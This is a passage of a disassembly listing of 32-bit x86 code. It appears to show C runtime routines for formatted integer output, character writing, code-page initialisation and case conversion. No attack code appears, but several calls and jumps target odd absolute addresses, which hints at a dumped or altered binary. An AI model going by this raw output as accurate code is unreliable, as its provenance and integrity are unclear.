[ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 28A0000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 nop jmp near ptr 2650918h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 jmp near ptr 28A06F8h ; --------------------------------------------------------------------------- db 0E3h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 nop call near ptr 28A0000h cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr 